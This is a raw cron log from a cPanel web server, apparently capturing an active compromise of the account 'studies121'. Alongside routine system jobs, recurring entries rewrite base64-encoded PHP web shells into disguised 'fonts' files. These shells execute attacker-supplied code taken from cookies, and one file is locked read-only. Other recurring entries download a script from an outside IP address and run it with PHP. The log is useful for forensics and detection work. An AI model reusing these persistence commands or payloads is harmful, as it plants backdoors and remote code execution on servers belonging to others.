Sep 13 02:04:01 ip-184-168-122-23 CROND[28867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:04:01 ip-184-168-122-23 CROND[28868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:04:01 ip-184-168-122-23 CROND[28869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:05:01 ip-184-168-122-23 CROND[28959]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:05:01 ip-184-168-122-23 CROND[28961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:05:01 ip-184-168-122-23 CROND[28963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:05:01 ip-184-168-122-23 CROND[28965]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:05:01 ip-184-168-122-23 CROND[28962]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 02:05:01 ip-184-168-122-23 CROND[28964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:05:01 ip-184-168-122-23 CROND[28966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:06:01 ip-184-168-122-23 CROND[29077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:06:01 ip-184-168-122-23 CROND[29079]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:06:01 ip-184-168-122-23 CROND[29082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:06:01 ip-184-168-122-23 CROND[29080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:06:01 ip-184-168-122-23 CROND[29081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:07:01 ip-184-168-122-23 CROND[29270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:07:01 ip-184-168-122-23 CROND[29271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:07:01 ip-184-168-122-23 CROND[29273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:07:01 ip-184-168-122-23 CROND[29274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:08:01 ip-184-168-122-23 CROND[29357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:08:01 ip-184-168-122-23 CROND[29359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:08:01 ip-184-168-122-23 CROND[29360]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:08:01 ip-184-168-122-23 CROND[29361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:08:01 ip-184-168-122-23 CROND[29363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:09:01 ip-184-168-122-23 CROND[29448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:09:01 ip-184-168-122-23 CROND[29449]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 13 02:09:01 ip-184-168-122-23 CROND[29450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:09:01 ip-184-168-122-23 CROND[29452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:09:01 ip-184-168-122-23 CROND[29451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:10:01 ip-184-168-122-23 CROND[29556]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 02:10:01 ip-184-168-122-23 CROND[29557]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:10:01 ip-184-168-122-23 CROND[29564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:10:01 ip-184-168-122-23 CROND[29565]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:10:01 ip-184-168-122-23 CROND[29568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:10:01 ip-184-168-122-23 CROND[29566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:10:01 ip-184-168-122-23 CROND[29563]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:10:01 ip-184-168-122-23 CROND[29569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:11:01 ip-184-168-122-23 CROND[29655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:11:01 ip-184-168-122-23 CROND[29657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:11:01 ip-184-168-122-23 CROND[29658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:11:01 ip-184-168-122-23 CROND[29660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:12:01 ip-184-168-122-23 CROND[29838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:12:01 ip-184-168-122-23 CROND[29841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:12:01 ip-184-168-122-23 CROND[29840]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:12:01 ip-184-168-122-23 CROND[29843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:12:01 ip-184-168-122-23 CROND[29842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:13:01 ip-184-168-122-23 CROND[29936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:13:01 ip-184-168-122-23 CROND[29938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:13:01 ip-184-168-122-23 CROND[29940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:13:01 ip-184-168-122-23 CROND[29939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:14:01 ip-184-168-122-23 CROND[30034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:14:01 ip-184-168-122-23 CROND[30035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:14:01 ip-184-168-122-23 CROND[30037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:14:01 ip-184-168-122-23 CROND[30038]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:14:01 ip-184-168-122-23 CROND[30036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:15:01 ip-184-168-122-23 CROND[30136]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:15:01 ip-184-168-122-23 CROND[30138]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:15:01 ip-184-168-122-23 CROND[30139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:15:01 ip-184-168-122-23 CROND[30141]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 13 02:15:01 ip-184-168-122-23 CROND[30140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:15:01 ip-184-168-122-23 CROND[30142]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:15:01 ip-184-168-122-23 CROND[30143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:16:01 ip-184-168-122-23 CROND[30238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
